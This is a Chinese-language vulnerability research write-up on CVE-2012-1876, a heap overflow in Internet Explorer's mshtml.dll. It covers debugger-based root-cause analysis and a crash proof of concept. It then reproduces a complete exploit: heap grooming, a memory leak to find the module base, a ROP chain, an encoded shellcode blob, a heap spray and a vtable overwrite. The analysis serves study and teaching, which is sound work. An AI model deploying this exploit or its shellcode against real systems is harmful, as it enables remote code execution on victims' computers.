Internet Explorer漏洞分析系列(一)——CVE-2012-1876

发布者:Gcow安全团队
发布于:2021-02-24 20:52

Internet Explorer漏洞分析系列(一)——CVE-2012-1876

1.本文一共3960个字 30张图 预计阅读时间12分钟
2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章从CVE-2012-1876漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞
4.本篇文章十分适合漏洞安全研究人员进行交流学习
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽

0x01 漏洞信息

0x01.1 漏洞简述

  • 编号:CVE-2012-1876

  • 类型:堆溢出(Heap Overflow)

  • 漏洞影响:远程代码执行(RCE)

  • CVSS 2.0:9.3

mshtml.dll中CTableLayout::CalculateMinMax函数在循环向缓冲区(堆分配内存)写入数据时,未校验控制循环次数的<col>标签span属性值,故可通过精心构造span属性值造成堆溢出,进而实现RCE。

0x01.2 漏洞影响

Microsoft Internet Explorer 6—9,10 Consumer Preview

0x01.3 修复方案

0x02 漏洞分析

0x02.1 分析环境

  • OS版本:Windows XP Service Pack 3

  • Internet Explorer版本:8.0.6001.18702

  • mshtml.dll版本:8.0.6001.18702

0x02.2 详细分析

使用gflags.exeiexplore.exe开启页堆:

图1

WinDbg打开iexplore.exe后,通过.childdbg 1命令启用子进程调试。运行并打开poc.html

<html>
<body>
<table style="table-layout:fixed" >
       <col id="132" width="41" span="1" >&nbsp </col>
       <!-- The <col> tag specifies column properties for each column within a <colgroup> element-->
       <!-- width:Specifies the width of a <col> element -->
       <!-- span:Specifies the number of columns a <col> element should span -->
</table>
<script>

function over_trigger() {
       var obj_col = document.getElementById("132");
       obj_col.width = "42765";
       obj_col.span = 1000;
}

setTimeout("over_trigger();",1); //The setTimeout() method calls a function or evaluates an expression after a specified number of milliseconds


</script>
</body>
</html>

允许活动内容运行:

图2

崩溃点如下:

图3

WinDbg重新打开iexplore.exe,运行。当子进程创建完成时,sxe ld mshtml.dll设置mshtml.dll模块加载异常:

图4

模块已加载,可拍摄快照,方便后续分析:

图5

IDA定位到函数CTableColCalc::AdjustForCol引发crash处:

图6

向上回溯查看esi于何处赋值(调用该函数仅CTableLayout::CalculateMinMax+F55F一处,故可直接在IDA中定位):

图7

由上图可以看出其值为[ebx+9Ch],该地址处值由何而来需结合WinDbg动态调试以确定。恢复快照至已加载mshtml.dll,bp 6368CD39设断于call    CTableColCalc::AdjustForCol处,成功断下后,查看堆块信息:

图8

再次恢复快照,bp 6367d7daCTableLayout::CalculateMinMax起始位置设断,断下后bp 635D28F6call    CImplAry::EnsureSizeWorker处设断,跟进分析:

图9

可以看出其分配大小确为0x70,之后跟进mshtml!_HeapRealloc查看其分配地址:

图10

向上回溯,edi指向ebx+90h

图11

如此一来,HeapAlloc函数返回值——即分配堆块地址写入[ebx+9Ch]。至此,crash处edi由何而来已分析完成。而写入数据为width*100(具体计算过程见CWidthUnitValue::GetPixelWidth函数):

图12

crash处ecx值为(width*100)<<4+9,最终内容要减1:

图13


上述内容仅是追溯写入位置与写入值如何计算及传递,下面将分析其执行流。

CTableLayout::CalculateMinMax第一个参数是用于存储<table>标签的CTableLayout对象:

图14

[ebx+54h]存储所有<col>标签的<span>属性值之和(可记为span_sum):

图15

执行到0x6367D8EF处,从ebx+94h位置取出值,右移2位,与span_sum进行比较:

图16

如上图所示,再经过两次比较,都满足条件才会call CImplAry::EnsureSizeWorker。若span_sum小于4,则直接分配0x70大小堆块;不小于4,则分配0x1C*span_sum大小堆块:

图17

分配结束后,会向ebx+98h位置写入span_sum

图18

ebx+94h位置写入span_sum<<2

图19

如此一来,第二次执行CTableLayout::CalculateMinMax便不会调用CImplAry::EnsureSizeWorker重新分配内存,而是直接使用上次分配堆块进行写入——修改后的span属性值大于修改前span属性值,以此span值作为循环计数,之前分配堆块大小明显无法容纳,此时便会造成堆溢出。

下面是打开POC并允许活动内容运行后由0x6367D7DA0x6368CD39两次执行流(可使用wt -l 1 -ns -oR  -m mshtml =6367d7da 6368CD39命令)对比:

图20

第二次执行不会调用CImplAry::EnsureSizeWorker

图21

span属性值最大为0x3E8(即1000):

图22

0x02.3 漏洞利用

分析所用exp如下:

<html>
   <body>
    <div id="test"></div>
       <script language='javascript'>
               
  var leak_index = -1;

        var dap = "EEEE";
        while ( dap.length < 480 ) dap += dap;

        var padding = "AAAA";
        while ( padding.length < 480 ) padding += padding;

        var filler = "BBBB";
        while ( filler.length < 480 ) filler += filler;

        //spray
        var arr = new Array();
        var rra = new Array();

        var div_container = document.getElementById("test");
        div_container.style.cssText = "display:none";

        for (var i=0; i < 500; i+=2) {

            // E
            rra[i] = dap.substring(0, (0x100-6)/2);

            // S, bstr = A
            arr[i] = padding.substring(0, (0x100-6)/2);

            // A, bstr = B
            arr[i+1] = filler.substring(0, (0x100-6)/2);

            // B
            var obj = document.createElement("button");
            div_container.appendChild(obj);

        }

        for (var i=200; i<500; i+=2 ) {
            rra[i] = null;
            CollectGarbage();
        }

       </script>
       
       <table style="table-layout:fixed" ><col id="0" width="41" span="9" >&nbsp </col></table>
       <table style="table-layout:fixed" ><col id="1" width="41" span="9" >&nbsp </col></table>
       ...
       <table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp </col></table>
       
 <script language='javascript'>
           var obj_col = document.getElementById("132");
  obj_col.span = 19;

        function over_trigger()
        {
            var leak_addr = -1;
            for ( var i = 0; i < 500; i++ )
            {
                if ( arr[i].length > (0x100-6)/2 )
                { // overflowed
     leak_index = i;
                    var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
                    leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 );
     mshtmlbase = leak_addr - Number(0x001582b8);
     alert(mshtmlbase);
                    break;
                }
            }
            if ( leak_addr == -1 || leak_index == -1 )
            {
              alert("memory leak failed....");
         }
      //return mshtmlbase;
        }

  // A very special heap spray
  function heap_spray()
  {
      CollectGarbage();
   var heapobj = new Object();
     
   // generated with mona.py (mshtml.dll v)
       function rop_chain(mshtmlbase)
       {
           var arr = [
     mshtmlbase + Number(0x00001031),
     mshtmlbase + Number(0x00002c78),    // pop ebp; retn
     mshtmlbase + Number(0x0001b4e3),    // xchg eax,esp; retn (pivot)
     mshtmlbase + Number(0x00352c8b),    // pop eax; retn
     mshtmlbase + Number(0x00001340),    // ptr to &VirtualAlloc() [IAT]
     mshtmlbase + Number(0x00124ade),    // mov eax,[eax]; retn
     mshtmlbase + Number(0x000af93e),    // xchg eax,esi; and al,0; xor eax,eax; retn
     mshtmlbase + Number(0x00455a9c),    // pop ebp; retn
     mshtmlbase + Number(0x00128b8d),    // & jmp esp
     mshtmlbase + Number(0x00061436),    // pop ebx; retn
     0x00000001,              // 0x00000001-> ebx
     mshtmlbase + Number(0x0052d8a3),    // pop edx; retn
     0x00001000,              // 0x00001000-> edx
     mshtmlbase + Number(0x00003670),    // pop ecx; retn
     0x00000040,              // 0x00000040-> ecx
     mshtmlbase + Number(0x001d263d),    // pop edi; retn
     mshtmlbase + Number(0x000032ac),    // retn
     mshtmlbase + Number(0x00352c9f),    // pop eax; retn
     0x90909090,              // nop
     mshtmlbase + Number(0x0052e805),    // pushad; retn
     0x90909090,
     0x90909090,
     0x90909090,
     0x90909090,
     0x90909090,
               ];
           return arr;
        }

   function d2u(dword)
   {
    var uni = String.fromCharCode(dword & 0xFFFF);
    uni += String.fromCharCode(dword>>16);
    return uni;
   }

   function tab2uni(heapobj, tab)
   {
    var uni = ""
    for(var i=0;i<tab.length;i++){
        uni += heapobj.d2u(tab[i]);
    }
    return uni;
   }
      
      heapobj.tab2uni = tab2uni;
      heapobj.d2u = d2u;
      heapobj.rop_chain = rop_chain;

      var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");
      var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;
      var shellcode = rop_chain + code

      while (shellcode.length < 100000)
   shellcode = shellcode + shellcode;
      var onemeg = shellcode.substr(0, 64*1024/2);
      for (i=0; i<14; i++)
      {
    onemeg += shellcode.substr(0, 64*1024/2);
      }

      onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
      var spray = new Array();

      for (i=0; i<400; i++)
      {
    spray[i] = onemeg.substr(0, onemeg.length);
      }
  }

  function smash_vtable()
  {
          var obj_col_0 = document.getElementById("132");
    obj_col_0.width = "1178993";                    // smash the vftable 0x07070024
          obj_col_0.span = "44";                      // the amount to overwrite
  }

  var mshtmlbase = "";
  setTimeout("over_trigger();",1);
  setTimeout("heap_spray();",400);
  setTimeout("smash_vtable();",700);
       </script>
   </body>
</html>

第一部分用以申请大量内存并填充字符内容进行堆布局:

<script language='javascript'>
               
  var leak_index = -1;

        var dap = "EEEE";
        while ( dap.length < 480 ) dap += dap;

        var padding = "AAAA";
        while ( padding.length < 480 ) padding += padding;

        var filler = "BBBB";
        while ( filler.length < 480 ) filler += filler;

        //spray
        var arr = new Array();
        var rra = new Array();

        var div_container = document.getElementById("test");
        div_container.style.cssText = "display:none";

        for (var i=0; i < 500; i+=2) {

            // E
            rra[i] = dap.substring(0, (0x100-6)/2);

            // S, bstr = A
            arr[i] = padding.substring(0, (0x100-6)/2);

            // A, bstr = B
            arr[i+1] = filler.substring(0, (0x100-6)/2);

            // B
            var obj = document.createElement("button");
            div_container.appendChild(obj);

        }

        for (var i=200; i<500; i+=2 ) {
            rra[i] = null;
            CollectGarbage();
        }

       </script>

其于内存中分布情况(BSTR 'E' & BSTR 'A' & BSTR 'B' & CButtonLayout):

图23

调用CollectGarbage()回收完成后,其Len部分变为0x0000ffff

图24

第二部分创建大量col标签,以占位之前释放堆块:

  <table style="table-layout:fixed" ><col id="0" width="41" span="9" >&nbsp </col></table>
       <table style="table-layout:fixed" ><col id="1" width="41" span="9" >&nbsp </col></table>
       ...
       <table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp </col></table>

之后通过

 var obj_col = document.getElementById("132");
obj_col.span = 19;

完成第一次溢出(可通过条件断点bp 638209A2 ".if(eax==0x13){};.else{gc;}"断下后再进一步分析):

图25

而写入位置在每次写入过后会加0x1C

图26

0x1C*0x12=0x1F8(0x6368CD4B处是jl命令),[EBX+9Ch]+0x1F8+0x18位置恰为BSTR 'B'长度:

图27

之后遍历arr数组,长度大于(0x100-6)/2元素即为发生溢出位置:

for ( var i = 0; i < 500; i++ ) 
{
 if ( arr[i].length > (0x100-6)/2 )
 { // overflowed
leak_index = i;

由于该元素长度已被更改为0x10048,那么可以越界读取其后CButtonLayout中内容:

var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);  //0xAE086377——금捷(Unicode)

图28

转换成十六进制数,减去CButtonLayout::vftable相较于基址偏移便得到基址:

leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ); mshtmlbase = leak_addr - Number(0x001582b8);

Exp中偏移与笔者环境中所计算偏移不符:

图29

构造ROP+Shellcode及进行Heap Spray:

 function heap_spray() {     CollectGarbage(); var heapobj = new Object();      // generated with mona.py (mshtml.dll v)      function rop_chain(mshtmlbase)      {          var arr = [ mshtmlbase + Number(0x00001031), mshtmlbase + Number(0x00002c78),    // pop ebp; retn mshtmlbase + Number(0x0001b4e3),    // xchg eax,esp; retn (pivot) mshtmlbase + Number(0x00352c8b),    // pop eax; retn mshtmlbase + Number(0x00001340),    // ptr to &VirtualAlloc() [IAT] mshtmlbase + Number(0x00124ade),    // mov eax,[eax]; retn mshtmlbase + Number(0x000af93e),    // xchg eax,esi; and al,0; xor eax,eax; retn mshtmlbase + Number(0x00455a9c),    // pop ebp; retn mshtmlbase + Number(0x00128b8d),    // & jmp esp mshtmlbase + Number(0x00061436),    // pop ebx; retn 0x00000001,             // 0x00000001-> ebx mshtmlbase + Number(0x0052d8a3),    // pop edx; retn 0x00001000,             // 0x00001000-> edx mshtmlbase + Number(0x00003670),    // pop ecx; retn 0x00000040,             // 0x00000040-> ecx mshtmlbase + Number(0x001d263d),    // pop edi; retn mshtmlbase + Number(0x000032ac),    // retn mshtmlbase + Number(0x00352c9f),    // pop eax; retn 0x90909090,             // nop mshtmlbase + Number(0x0052e805),    // pushad; retn 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090,              ];          return arr;       } function d2u(dword) { var uni = String.fromCharCode(dword & 0xFFFF); uni += String.fromCharCode(dword>>16); return uni; } function tab2uni(heapobj, tab) { var uni = "" for(var i=0;i<tab.length;i++){     uni += heapobj.d2u(tab[i]); } return uni; }          heapobj.tab2uni = tab2uni;     heapobj.d2u = d2u;     heapobj.rop_chain = rop_chain;     var code = unescape("%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133%u2ae1%u31e0%ue2d3%u1514%ufd13%u3497%u7a7b%ufc39%u92ba%u9390%u0a4e%ubbf5%u8db2%ue385%uf823%ud53a%u0448%u750d%ud632%u707c%u4642%u7e78%ub12c%u2f98%u1c3c%u727e%u3b7b%u4fe0%ue38c%u4f76%u81b0%u2de2%u35ba%u86bb%u67f8%u8d0c%u9190%u7574%u7f71%u7d3c%u9f15%ub347%ud50b%u784e%u4970%u1b37%uc1ff%uc6fe%uc0c7%ub6d4%u9246%ub4b1%uf588%ua91d%u7c4b%u2548%u7a99%u9b3d%u01b7%u34eb%u1cb5%u38a8%ub8fc%ud609%ube4a%u9714%ue121%ub904%u42b2%u7796%u6924%u80f9%u0dfd%u412c%u2f05%u273f%ubf40%u9893%u7343%u6679%u77a8%ub63f%u7472%u707b%u843d%uebd2%uf630%ubfd5%u71b2%u757a%u1848%u0cf5%u96b7%uf889%u764a%u9b2d%u92b0%u66be%u7d97%ub425%u9114%u4904%uba34%u421c%ue308%uf902%u4140%u4773%u0d27%u93b5%u2299%u1dd4%u7c4f%u2867%u98fc%u2c24%ue212%ufd03%u78a9%u3505%u8390%u2fe0%u4337%u154b%u468d%u79b9%u297f%ubbd6%u197e%u4ee1%u9fb8%ub1b3%u4a3c%u7a7d%u7679%u4670%u2091%u74e1%ub043%u4e71%ub590%u75b7%u983c%u4bb3%ud687%uf86b%u9b40%u117f%ud1f7%u7bf9%u152f%u3427%u1d92%u3d97%u2d49%u720d%u014f%u7ce0%u3105%u10eb%u35f5%ub4b6%u1c2c%u93b2%u4704%ud52b%ubbb1%ue389%u4137%u7e78%u733f%u7742%u2925%ufcd0%u6624%u8dba%u67b9%u1a96%ua8fd%ua9be%ud40b%u4899%u9f14%u87bf%ue2f7%ub80c%u903d%u14b0%u25bb%u7d96%u1a7f%u79f5%uf809%u347c%u7b91%u4e47%ueb81%ue122%ud41b%u7074%ub21d%u2d72%u928d%ub3b1%ua905%u71b4%u4b0c%u9343%u0d76%u989f%u84b5%ub7d5%u4666%ube40%ub8bf%u201c%u48e2%u4a73%u6b2c%u2afc%u04e0%u4941%u3777%u10ba%u7ed6%u332f%ub9fd%u7a9b%u7875%u2415%u1299%uf9d2%u3f97%ub63c%u3567%u27a8%ue386%u7742%u4f73%ue380%ua93c%u757c%uf62b%ud0c0%u27e0%u214b%ue1d3%ub93f%u157d%u8c14%ue2c1%u9904%u7498%u7071%u6637%ueb28%u4e1c%u7fb6%u357b%u3297%u25d4%uf569%u9105%u4047%u0224%u78d6%u7941%uba3d%u49b1%u7276%u1d2f%u85bf%u67fc%u7e92%u4a2c%u7ab4%u1348%u93d5%u8d9b%u03bb%u74fd%u0879%u43e1%ue083%u1873%u46e3%u2372%ub2f8%u88b0%ub8f9%u969f%u75b5%u770c%u7b42%ub72d%u7aa8%ue219%ueb38%ub334%u90be%u4f7e%u0d7f%ub3b6%u3076%ubff5%u479f%u7167%ud40a%u3b7c%u66fc%u41b7%u9615%u3dfd%u3505%ub825%u1c7d%ub54a%u3940%u37d6%u3f92%u971d%u1478%u8d49%ua8b2%u3493%u2c3c%u902f%ud54f%u04a9%u1198%u91f8%ub99b%u9943%ubbb1%u0d70%u4824%u4b0c%ube4e%ub02d%uf93a%u27ba%ub446%udb42%ud9d1%u2474%u5af4%uc929%u49b1%u8cbe%uc04a%u31a0%u1972%uc283%u0304%u1572%ubf6e%u483c%u40e7%u89bd%uc997%ub858%uae85%ue929%ua419%u027c%ue8d2%u9194%u2496%u129a%u131c%ua395%u9b91%u6779%u67b0%ub480%u5912%uc94b%u9e53%u22b6%u7701%u91bc%ufcb5%u2980%ud2b4%u128e%u57ce%ue650%u5964%u5781%u11f3%ud339%u825b%u3038%ufeb8%u3d73%u740a%u9782%u7543%ud7b4%u480f%uda78%u8c4e%u05bf%ue625%ub8c3%u3d3d%u66b9%ua0c8%uec19%u016a%u219b%uc2ec%u8e97%u8c7b%u11bb%ua6a8%u9ac0%u694f%ud841%uad6b%uba09%uf412%u6df7%ue62b%ud150%u6c89%u0672%u2eab%ueb1b%ud081%u63db%ua392%u2ce9%u2c08%ua442%uab96%u9fa5%u236e%u2058%u6d8e%u749f%u05de%uf536%ud5b5%u20b7%u8619%u9b17%u76d9%u4bd8%u9cb1%ub4d7%u9ea1%udd3d%u644b%u22d6%u6723%ucb43%u6831%u579a%u8ebc%u77f6%u19e8%ue16f%ud2b1%uee0e%u9f6c%u6411%u5f82%u8ddf%u73ef%u7d88%u2eba%u811f%u4411%u17a0%ucf9d%u8ff7%u369f%u103f%u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2");          var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ;     var shellcode = rop_chain + code     while (shellcode.length < 100000) shellcode = shellcode + shellcode;     var onemeg = shellcode.substr(0, 64*1024/2);     for (i=0; i<14; i++)      { onemeg += shellcode.substr(0, 64*1024/2);     }     onemeg += shellcode.substr(0, (64*1024/2)-(38/2));     var spray = new Array();     for (i=0; i<400; i++)      { spray[i] = onemeg.substr(0, onemeg.length);     } }

其ROP链于笔者环境中并不适用,可用mona.py重新生成。转换为相对地址可使用如下脚本:

import argparse def GenRelAddr(Src,Des,ModuleBaseAddr): SrcFile=open(Src,"r")    DestFile=open(Des,"w") DestFile.write("Relative Address:\n") for i in SrcFile.readlines(): if i.strip().find("0x")==-1: pass  else: num_hex=int(i[i.find("0x"):i.find("0x")+10],16) rva=num_hex-ModuleBaseAddr if rva>0 and num_hex!=2425393296: #0x90909090 DestFile.write(' '+hex(rva)+'\n') else: DestFile.write(' '+hex(num_hex)+'\n') SrcFile.close() DestFile.close() if __name__ == '__main__':     parser=argparse.ArgumentParser()     parser.add_argument('-s',help='SrcFile')     parser.add_argument('-d',help='DestFile')     parser.add_argument('-b',type=int,help='ModuleBaseAddr')     args=parser.parse_args()     if args.s and args.d and args.b:      GenRelAddr(args.s,args.d,args.b)     else:         print("Please enter the correct parameters.")

方法为-s 1.txt -d 2.txt  -b 1666711552,其中1.txt内容如下:

rop_gadgets = [       #[---INFO:gadgets_to_set_esi:---]       0x6371b8f5,  # POP ECX # RETN [mshtml.dll]        0x63581314,  # ptr to &VirtualAlloc() [IAT mshtml.dll]       0x6392bf47,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [mshtml.dll]        0x63aa9a60,  # XCHG EAX,ESI # RETN [mshtml.dll]        #[---INFO:gadgets_to_set_ebp:---]       0x635ac41c,  # POP EBP # RETN [mshtml.dll]        0x635ead14,  # & jmp esp [mshtml.dll]       #[---INFO:gadgets_to_set_ebx:---]       0x636895b1,  # POP EBX # RETN [mshtml.dll]        0x00000001,  # 0x00000001-> ebx       #[---INFO:gadgets_to_set_edx:---]       0x637ccce4,  # POP EDX # RETN [mshtml.dll]        0x00001000,  # 0x00001000-> edx       #[---INFO:gadgets_to_set_ecx:---]       0x6358e41f,  # POP ECX # RETN [mshtml.dll]        0x00000040,  # 0x00000040-> ecx       #[---INFO:gadgets_to_set_edi:---]       0x6366cccd,  # POP EDI # RETN [mshtml.dll]        0x63900c06,  # RETN (ROP NOP) [mshtml.dll]       #[---INFO:gadgets_to_set_eax:---]       0x637f3ee3,  # POP EAX # RETN [mshtml.dll]        0x90909090,  # nop       #[---INFO:pushad:---]       0x636bfa7c,  # PUSHAD # RETN [mshtml.dll]      ]

1666711552是笔者环境中mshtml.dll基址十进制值。

第二次溢出:

function smash_vtable() {          var obj_col_0 = document.getElementById("132"); obj_col_0.width = "1178993";                    // smash the vftable 0x07070024          obj_col_0.span = "44";                      // the amount to overwrite }

写入发生于第28次循环,对应指令为0x6368CD98mov  [esi+8], ebx,写入前:

图30

写入完成后调用该虚表指针时即可控制执行流。

最后,总结下利用思路:Heap Spray—>释放内存—><col>占位—>堆溢出(更改BSTR长度位)—>"越界读"虚表指针,计算mshtml.dll基址—>Heap Spray(布局ROP+Shellcode)—>堆溢出(更改虚表指针到ROP+Shellcode地址)

0x03 参阅链接



声明:该文观点仅代表作者本人,转载请注明来自看雪